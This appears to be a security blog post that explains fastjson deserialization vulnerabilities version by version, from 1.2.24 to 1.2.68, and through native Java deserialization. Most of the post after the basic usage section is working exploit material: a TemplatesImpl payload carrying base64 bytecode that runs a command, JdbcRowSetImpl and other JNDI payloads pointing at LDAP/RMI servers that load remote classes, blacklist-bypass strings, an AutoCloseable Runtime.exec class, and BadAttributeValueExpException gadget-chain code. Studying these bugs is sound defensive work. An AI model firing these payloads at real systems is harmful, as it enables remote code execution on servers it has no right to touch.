FastJsonSec

FastJsonSec

Introduction

fastjson is a open source JSON parsing library, which supports serializing Java beans to JSON strings, and also deserializing from JSON strings to JavaBeans.

Basic Usage

1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

POJO => JSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.util.Map;

public class Person {
public String name;
private int age;

public Person(){
System.out.println("Construct Method");
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public String getName() {
System.out.println("getName");
return name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age){
System.out.println("setAge");
this.age = age;
}

@Override
public String toString(){
return this.name + " " + this.age;
}
}
1
2
3
4
5
6
7
8
9
10
11
public class main {
public static void main(String[] args) throws Exception{
Person P3ngu1nW = new Person();
P3ngu1nW.setName("P3ngu1nW");
P3ngu1nW.setAge(20);

String JsonString = JSON.toJSONString(P3ngu1nW, SerializerFeature.WriteClassName);

System.out.println(JsonString);
}
}

Output:

1
2
3
4
5
6
Construct Method
setName
setAge
getAge
getName
{"@type":"Person","age":20,"name":"P3ngu1nW"}

Here the SerializerFeature.WriteClassName means the output json will write the class name in the field @type

@type specifies the class to deserialize and calls its getter/setter/is methods.

JSON => POJO

JSON.parseObject with target class

1
2
3
4
5
6
public class main {
public static void main(String[] args) throws Exception{
Person P3ngu1nW = JSON.parseObject("{\"@type\":\"Person\",\"age\":20,\"name\":\"P3ngu1nW\"}", Person.class, Feature.SupportNonPublicField);
System.out.println(P3ngu1nW);
}
}

Output:

1
2
3
4
Construct Method
setAge
setName
P3ngu1nW 20

JSON.parseObject without target class

1
2
3
4
5
6
public class main {
public static void main(String[] args) throws Exception{
Object P3ngu1nW = JSON.parseObject("{\"@type\":\"Person\",\"age\":20,\"name\":\"P3ngu1nW\"}");
System.out.println(P3ngu1nW.getClass().getName());
}
}

Output:

1
2
3
4
5
6
Construct Method
setAge
setName
getAge
getName
com.alibaba.fastjson.JSONObject

JSON.parse

1
2
3
4
5
6
public class main {
public static void main(String[] args) throws Exception{
Object P3ngu1nW = JSON.parse("{\"@type\":\"Person\",\"age\":20,\"name\":\"P3ngu1nW\"}");
System.out.println(P3ngu1nW.getClass().getName());
}
}

Output

1
2
3
4
Construct Method
setAge
setName
Person

Feature

  • Here the Feature.SupportNonPublicField means the private variables don’t have a setter method, but we still want to assign a value to the variable when deserializing it.
  • JSON.parse(text) and JSON.parseObject(text, Type) will return the original object and only call the setter methods.
  • JSON.parseObject(text) will return a JSONObject, and call the setter and getter methods.
  • If the Field type is byte[], it will call base64 decoding.
  • When fastjson is looking for a get/set method for a class attribute, it will ignore the _|- characters.

Vulnerability Principles

Fastjson will call setter/getter methods that meet the following requirements:

setter

  • Non-static method
  • The return type is void or the current class
  • only one argument

getter

  • Non-static method
  • No argument
  • The return value type is inherited from Collection or Map or AtomicBoolean or AtomicInteger.

FastJson 1.2.22~1.2.24 Exploit

ENV

  • jdk8u65
  • Fastjson 1.2.24

TemplateImpl

In TemplateImpl#getTransletInstance, we can call then defineTransletClasses to load the evil class.

However, the getter getTransletInstance seems not to be a valid method.

So let’s check the usage and we can find a gadget chain to call this method:

1
getOutputProperties()->newTransformer->getTransletInstance()

Besides, the getter getOutputProperties is a valid method.

So let’s try to write a exp

1
2
String exp = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMY2FsYzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAANkb20BAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAJAAoHAC4MAC8AMAEAEm9wZW4gLWEgY2FsY3VsYXRvcgwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAEY2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAMAAkAEAAMAA4ADQAPABEAEQANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj\"],\"_name\":\"P3ngu1nW\",\"_tfactory\":{ },\"_outputProperties\":{ }}";
JSON.parseObject(exp, Feature.SupportNonPublicField);

JdbcRowSetImpl

RMI(before jdk8u113)

Just like JNDI, in JdbcRowSetImpl#connect we will call the lookup method.

therefore, there is another chain we can exploit.

1
2
3
4
public static void main(String[] args) throws Exception{
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"DataSourceName\": \"rmi://127.0.0.1:1099/remoteObj\", \"AutoCommit\":true}";
JSON.parseObject(str);
}

LDAP(before jdk8u191)

1
2
3
4
public static void main(String[] args) throws Exception{
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"DataSourceName\": \"ldap://127.0.0.1:1099/remoteObj\", \"AutoCommit\":true}";
JSON.parseObject(str);
}

bypass jdk limit

We need to modify the server side and use the same way in the JNDI Injection.

FastJson 1.2.25~1.2.41 Exploit

FastJson1.2.25 introduced checkAutoType , and default off autoTypeSupport, so it can not deserialize any class. Even if AutoType is turned on, there is a built-in blacklist to prevent malicious deserialization. fastjson also provides an interface to add a blacklist.

Enable autoTypeSupport: ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

When autoTypeSupport is enabled, the whitelist is checked first, and if it hits, the class is loaded directly, and then the blacklist is checked.

  • denylist

Bypass

use L and ;

1
String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"DataSourceName\": \"ldap://127.0.0.1:8099/remoteObj\", \"AutoCommit\":true}";

First, Lcom.sun.rowset.JdbcRowSetImpl; is not in the blacklist, so it can pass the check.

In TypeUtils#loadClass, if a class start with L and end with ;, it will load the class among them.

FastJson 1.2.25~1.2.42 Exploit

Starting with version 1.2.42, Fastjson has changed the blacklist from plaintext to a hashed blacklist.

we can use the double L and double ; to bypass

1
String str = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"DataSourceName\": \"ldap://127.0.0.1:8099/remoteObj\", \"AutoCommit\":true}";

FastJson 1.2.25~1.2.43 Exploit

This version checks that an exception is thrown if the class name begins with LL

So we can use [ to bypass

1
String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, {\"DataSourceName\": \"ldap://127.0.0.1:8099/remoteObj\", \"AutoCommit\":true}";

FastJson 1.2.25~1.2.45 Exploit

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory can bypass the blacklist

require mybatis 3.x.x < 3.5.0

1
2
3
4
5
6
7
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
"data_source":"ldap://127.0.0.1:8099/remoteObj"
}
}

FastJson 1.2.25~1.2.47 Exploit (Bypass AutoType)

1
2
3
4
5
6
7
8
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://127.0.0.1:8099/remoteObj\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

In ParserConfig#checkAutoType, we can see if we don’t enable the autoTypeSupport and the target class is not in the whitelist, we will first call the TypeUtils.getClassFromMapping to fetch the class.

if we deserialize a Class.class and set another class into the field val, we will load the class, and put it into the map.

so we can bypass the blacklist and without the autoTypeSupport

The fix in 1.2.48 is to set the cache switch to False by default when loadingClass(), so by default it’s not possible to load into the cache via Class. Also added Class class to the blacklist.

FastJson 1.2.5~1.2.59 Exploit

Need AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

FastJson 1.2.5~1.2.60 Exploit

Do not need AutoType

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

FastJson 1.2.62 Exploit

need autotype

the target should have the xbean-reflect package

Another JNDI Injection

1
2
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," + 
"\"AsText\":\"ldap://127.0.0.1:8099/remoteObj\"}";

FastJson 1.2.66 Exploit

need autotype

Another JNDI Injection

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
1
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}

FastJson 1.2.67 Exploit

need autotype

Another JNDI Injection

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

FastJson 1.2.68 Exploit (Using expectClass Bypass AutoType)

payload

1
{"@type":"java.lang.AutoCloseable","@type":"VulAutoCloseable","cmd":"open -a calculator"}

VulAutoCloseable is our malicious class that implements the AutoCloseable interface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

The first @typeis used as the expectClass inside the second specified class.

Code Analysing

Let’s enter into the checkAutoType.

Here check the exceptClass.

Finally we get the class java.lang.AutoCloseable from the mappings.

And return the class.

Next time, we enter into the checkAutoType, we have a expectClass

Therefore, expectClassFlag = true

And here we read the target class into the memory.

And here we load the target class.

Our evil class has been put into the map.

And we finally deserialize the target class and RCE.

Realworld Exploit

We can use this trick to read any file.

https://b1ue.cn/archives/506.html

FastJson with Native Deserialization

FastJson <= 1.2.48

In Fastjson, JSONArray and JSONObject both implement the Serializable interface, and the toString method of both classes can trigger a call toJSONString

So there exists an interesting chain:

1
toString(e.g. BadAttributeValueExpException#readObject) -> toJSONString -> evil getter(e.g. TemplatesImpl#getOutputProperties)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class main {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Field field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "P3ngu1nW");
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{Files.readAllBytes(Paths.get("calc.class"))});
JSONArray json = new JSONArray();
json.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("tmp");
field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, json);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

FastJson >= 1.2.49

In the new version of FastJson, JSONArray and JSONObject both implement their own readObject method, customize a SecureObjectInputStream and override the resolveClass method, which calls checkAutoType to check the black and white list of deserialized classes.

Is this way really safe? The answer is no.

In the realworld, we often use the following way to protect from the Deserialization attack:

1
2
1. Write Our Own InputStream
2. Rewrite the resolveClass

However, fastjson use another way to protect from the Deserialization attack:

1
2
3
1. Use the normal ObjectInputStream
2. some other methods
3. JSONArray.readObject() -> SecureObjectInputStream -> readObject -> resolveClass

In ObjectInputStream#readObject0, we can find a way to by pass the resolveClass

If we pass a Reference Object, the Object will not be checked by resolveClass

So when the same object is added to a List, set, or map type, it can be successfully utilized.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class main {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Field field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "P3ngu1nW");
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{Files.readAllBytes(Paths.get("calc.class"))});
JSONArray json = new JSONArray();
json.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("tmp");
field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, json);
HashMap map = new HashMap();
map.put(templates, badAttributeValueExpException);
serialize(map);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Reference

https://p4d0rn.gitbook.io/java/serial-journey/fastjson/fastjsonbasic

https://p4d0rn.gitbook.io/java/serial-journey/fastjson/fastjson_templatesimpl

https://p4d0rn.gitbook.io/java/serial-journey/fastjson/fastjson_jdbcrowsetimpl

https://drun1baby.top/2022/08/04/Java反序列化Fastjson篇01-Fastjson基础/

https://drun1baby.top/2022/08/06/Java反序列化Fastjson篇02-Fastjson-1-2-24版本漏洞分析/

https://drun1baby.top/2022/08/08/Java反序列化Fastjson篇03-Fastjson各版本绕过分析/

https://drun1baby.top/2022/08/13/Java反序列化Fastjson篇04-Fastjson1-2-62-1-2-68版本反序列化漏洞/

https://paper.seebug.org/2055/

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson与原生反序列化-二/